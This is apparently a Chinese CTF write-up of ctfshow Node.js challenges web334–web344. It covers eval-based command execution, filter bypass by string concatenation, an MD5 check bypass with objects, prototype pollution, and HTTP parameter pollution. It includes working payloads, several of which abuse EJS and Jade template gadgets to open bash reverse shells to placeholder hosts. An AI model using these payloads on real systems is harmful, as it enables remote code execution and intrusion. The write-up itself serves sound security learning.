web334-web344NodeJS篇

题前准备

简单了解下node.js,我对他的了解就是写过一点点的electron,然后就是老用npm来补网易云的一些插件XD。
语言特性了解:

https://f1veseven.github.io/2022/04/03/ctf-nodejs-zhi-yi-xie-xiao-zhi-shi/

后面几个重量级的暂时先学会利用,等语言熟悉了再跟着复现。

web334

文件读取,rce拼接bypass

下载并解压相关代码:

1
2
3
4
5
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};

尝试登录:
注意不要抄大写!登录之后就有flag了。

1
2
3
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});

web335

image.png
传入之后发现是eval函数。传入1之后返回了1 。
这里找一找nodejs的危险函数:
child_process:http://nodejs.cn/api/child_process.html
child_process.exec(command[, options][, callback])
命令执行:

1
require('child_process').execSync('ls');

payload:?eval=require('child_process').execSync('tac fl00*');

web336

加了过滤,过滤exec
传入__filename读取文件位置,其他相关的变量:

  • __filename - 当前 eval 代码运行的文件名
  • __dirname - 当前 eval 代码运行的文件夹路径
  • __line - 当前 eval 代码运行的行号
  • __column - 当前 eval 代码运行的列号

当然知道位置了,就可以读取文件了:

1
require('fs').readFileSync('/app/routes/index.js','utf-8')

jsbeautify一下方便阅读,发现过滤了exec和load两个关键字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var express = require('express');
var router = express.Router(); /* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var evalstring = req.query.eval;
if (typeof(evalstring) == 'string' && evalstring.search(/exec|load/i) > 0) {
res.render('index', {
title: 'tql'
});
} else {
res.render('index', {
title: eval(evalstring)
});
}
});
module.exports = router;

看了payload是通过拼接来达成运行的。

1
2
3
4
require("child_process")['exe'%2b'cSync']('cat flag.txt')
//(%2b就是+的url编码)

require('child_process')["exe".concat("cSync")]("open /System/Applications/Calculator.app/")

web337

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}

});

module.exports = router;

js中有比较抽象的绕过md5方法:

1
a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)

a[x]=1&b[x]=2,数组会被解析为[object Object]
测试比如:

1
2
3
4
5
6
7
8
9
10
11
a={'x':'1'}
b={'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

a=[1]
b=[2]

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

输出如下:

1
2
3
4
[object Object]flag{xxx}
[object Object]flag{xxx}
1flag{xxx}
2flag{xxx}

web338

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x01-prototype__proto__

原型链污染

建议直接看上面的链接文章。讲的太好了,适合我这种菜狗。
这里就提一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

这段代码基本就可以介绍原型链相关内容。
比如说这道题的:

1
2
3
4
5
6
var secert = {};
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}

这里的secret就可以被原型链污染,具体在下面的utils/commons位置导致污染。

1
2
3
4
5
6
7
8
9
10
11
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

utils.copy(user,req.body);

这里达到了覆盖的效果。
我们传入payload测试一下:

1
{"__proto__":{"ctfshow":"36dboy"}}

注意,传入包的格式应该是:application/json
c6ae4a9fd8798a67b73a7fb0f6fc57ab.png
但是这里我不知道为什么传入路由是/login而不是/

web339

https://evi0s.com/2019/08/30/expresslodashejs-%e4%bb%8e%e5%8e%9f%e5%9e%8b%e9%93%be%e6%b1%a1%e6%9f%93%e5%88%b0rce/#comments

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
//console.log(user.query)
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});

if(secert.ctfshow===flag){这里已经没办法实现了
那就只能找别的地方了。
api.js中新增的内容:

1
2
3
4
5
6
7
/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});

});

这其中的query也是可以被操控的,比如:
image.png
用一下payload:

1
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/XXX/8888 0>&1\"')"}}

先/login那里污染一下发包,然后再post访问一下/api即可。
loginPOST传入之后,再访问就成功弹shell。
image.png
flag文件在routes下login.js中
image.png

Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。

非预期

非预期的原因就是这题用了ejs模板引擎,这个模板引擎有个漏洞可以rce:

1
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"');var __tmp2"}}

web340

这段核心代码是:

1
2
3
4
5
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};

这里new了一个匿名函数并赋值给userinfo。this.userinfo的__proto__属性指向的是那个匿名函数的prototype属性:

1
this.userinfo.__proto__ === function(){}.prototype

匿名函数的prototype属性又继承自Object.prototype:

1
function(){}.prototype.__proto__ === Object.prototype 

因此:

1
this.userinfo.__proto__ -> function(){}.prototype -> Object.prototype

因此需要套两层才能污染原型链。
payload:

1
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"');var __tmp2"}}}

污染+利用
image.png
image.png
image.png

web341

ejs原型链污染

payload:

1
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/111.11.111.111/11111 0>&1\"');var __tmp2"}}}

其中的_tmp1和tmp2是为了闭合代码。
还是先在login中post污染,然后访问/就可以接到shell。flag在根目录。

**web342-web343

https://xz.aliyun.com/t/7025
https://lonmar.cn/2021/02/22/%E5%87%A0%E4%B8%AAnode%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%E7%9A%84%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%86%E6%9E%90/#0x02-jade
https://tari.moe/p/2021/ctfshow-nodejs#fee3a3930b854ee8b473db3cf3747056

jade

改用jade了,哈哈这wp我都看不懂,太抽象了。
省流一下,payload:

1
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xx/xx 0>&1\"')"}}}

还是login污染,根目录激活。

web344

HPP数据污染

https://www.cnblogs.com/AtesetEnginner/p/12375499.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}

});

?query={"name":"admin","password":"ctfshow","isVIP":true}逗号会被过滤。url

node.js处理的特点和JSON.parse,另外一个点就是req.url是经过url编码的、

但是%2c中的2c也被过滤掉了。
HTTP协议中允许同名参数出现多次,不同服务端对同名参数处理都是不一样的。
nodejs处理传入数组时,不像php那样,后面get传的query值会覆盖前面的,而是会把这些值都放进一个数组中。而JSON.parse居然会把数组中的字符串都拼接到一起,再看满不满足格式,满足就进行解析。
也即是如下payload:

1
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

这里把c进行url编码,是因为双引号的url编码是 %22,和c连接起来就是 %22c,会匹配到正则表达式。

(这里始终没理解,有2c的话不就直接寄了吗?怎么能传进去。)

传入解析

1
2
3
4
5
6
7
8
9
10
11
Web服务器        参数获取函数              获取到的参数

PHP/Apache      $_GET(“par”)            Last

JSP/Tomcat      Request.getParameter(“par”) First

Perl(CGI)/Apache   Param(“par”)            First

Python/Apache    getvalue(“par”)          All(List)

ASP/IIS        Request.QueryString(“par”)    All (comma-delimited string)